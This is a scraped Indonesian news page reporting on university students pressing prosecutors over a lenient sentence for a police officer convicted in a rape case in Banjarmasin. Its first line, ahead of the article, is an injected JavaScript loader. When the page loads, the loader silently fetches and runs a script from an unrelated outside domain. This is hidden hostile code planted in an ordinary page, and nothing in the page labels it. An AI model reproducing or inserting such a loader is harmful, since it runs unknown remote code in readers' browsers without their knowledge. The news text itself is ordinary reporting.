(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Mahasiswa Kalsel Terus Kawal Kasus Vonis Janggal Pemerkosaan oleh Oknum Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Setelah meminta klarifikasi langsung dari Jaksa Penuntut Umum (JPU), mahasiswa menemukan beberapa fakta persidangan mengenai tiga poin yang dipertanyakan selama aksi berlangsung pada Kamis (27/1/2022).

Poin pertama pihak mahasiswa meminta keterangan mengenai alasan JPU menjatuhkan vonis yang ringan terhadap oknum BT. Kemudian JPU menjawab bahwa pertimbangan peringanan hukuman yang diberikan oleh JPU adalah adanya surat pengajuan permintaan maaf dari terdakwa yang diwakilkan oleh istrinya.

“Dan itu ditandatangani langsung secara sah oleh si korban, dalam tanda kutip artinya korban memaafkan,” kata Ketua BEM FH ULM, Andhika, saat menjelaskan ulang mengenai isi audiensi.

Kedua, pihak mahasiswa bertanya mengapa JPU langsung mengiyakan putusan yang dikeluarkan pada tanggal 11 Januari 2022 tersebut, dan kenapa langsung diterima pada hari itu juga.

 

Baca juga : Pimpin Capaian Vaksinasi Anak Se Kalsel, Banjarbaru Targetkan Februari Dosis Dua

Kemudian JPU menjelaskan bahwa berdasarkan SOP kejaksaan tercatat bahwa hukuman terhadap terdakwa yaitu 2 tahun 6 bulan yang diputus Majelis Hakim diketahui sudah melebihi 2/3 dari hukuman 3 tahun 6 bulan yang diberikan JPU.

Berlanjut pada point ketiga, pihak mahasiswa menanyakan kepada JPU mengapa mengajukan banding diluar masa tenggat.

Dan JPU menjawab bahwa pengajuan banding dilakukan atas dasar dari banyak pihak yang mendesak untuk dilakukannya banding.

Walaupun pihaknya sudah mengetahui tidak bisa, JPU mengatakan tetap melakukan terobosan baru dengan melakukan pengajuan banding, namun nihil hasilnya tetap ditolak.

 

Baca juga : Di Tengah Massa Pendemo, JPU Ungkap Dakwaan Kasus Pemerkosaan Mahasiswi ULM

Dengan terjawabnya pertanyaan tersebut, Andhika mengatakan tujuan mahasiswa sudah terpenuhi sehingga ke depannya tugas dan tanggung jawab pihak mahasiswa beserta Universitas adalah tetap mengawal kasus ini.

“Tugas kami adalah tetap mengawal kasus ini agar setidaknya kasus-kasus seperti ini tidak kembali terjadi di kemudian hari,” tutupnya.

Pihak mahasiswa juga turut meminta komitmen dengan Kapolres Banjarmasin bahwa ketika diadakannya pelaksanaan upacara pemberhentian oknum BT, pihak mahsiswa diundang secara resmi melalui surat untuk datang langsung berhadir upacara pemberhentian tersebut.(kanalkalimantan.com/Wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.